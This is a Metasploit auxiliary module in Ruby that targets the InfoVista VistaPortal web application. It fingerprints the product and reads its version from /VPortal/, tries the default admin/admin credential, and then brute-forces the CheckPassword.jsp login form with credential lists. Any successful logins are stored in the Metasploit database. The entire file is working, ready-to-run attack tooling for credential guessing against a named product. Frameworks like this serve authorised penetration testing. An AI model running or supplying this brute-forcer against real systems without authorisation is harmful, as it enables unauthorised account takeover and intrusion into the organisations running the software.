##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/http'
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'InfoVista VistaPortal Application Bruteforce Login Utility',
      'Description'    => %{
        This module attempts to scan for InfoVista VistaPortal Web Application, finds its
      version and performs login brute force to identify valid credentials.
      },
      'Author'         =>
        [
          'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
        ],
      'License'        => MSF_LICENSE
    ))

    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]),
        OptString.new('TARGETURI', [true, "URI for Web login. Default: /VPortal/mgtconsole/CheckPassword.jsp", "/VPortal/mgtconsole/CheckPassword.jsp"])
      ], self.class)
  end

  def run_host(ip)
    unless is_app_infovista?
      print_error("#{rhost}:#{rport} - Application does not appear to be InfoVista VistaPortal. Module will not continue.")
      return
    end

    status = try_default_credential
    return if status == :abort

    print_status("#{rhost}:#{rport} - Brute-forcing...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  #
  # What's the point of running this module if the app actually isn't InfoVista?
  #
  def is_app_infovista?
    res = send_request_cgi(
    {
      'uri'       => '/VPortal/',
      'method'    => 'GET'
    })

    if (res and res.code == 200 and res.body =~ /InfoVista.*VistaPortal/)
      version_key = /PORTAL_VERSION = (.+)./
      version = res.body.scan(version_key).flatten[0].gsub('"','')
      print_good("#{rhost}:#{rport} - Application version is #{version}")
      return true
    else
      return false
    end
  end

  #
  # Test and see if the default credential works
  #
  def try_default_credential
    user = 'admin'
    pass = 'admin'
    do_login(user, pass)
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'InfoVista VistaPortal',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  #
  # Brute-force the login page
  #
  def do_login(user, pass)
    vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
    begin
      res = send_request_cgi(
      {
        'uri'       => target_uri.to_s,
        'method'    => 'POST',
        'vars_post' =>
          {
            'Login' => user,
            'password' => pass
          }
      })

      if (not res or res.code != 200 or res.body !~ /location.href.*AdminFrame\.jsp/)
        vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect} with code #{res.code}")
      else
        print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
        report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
        return :next_user
      end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
      print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
      return :abort
    end
  end

end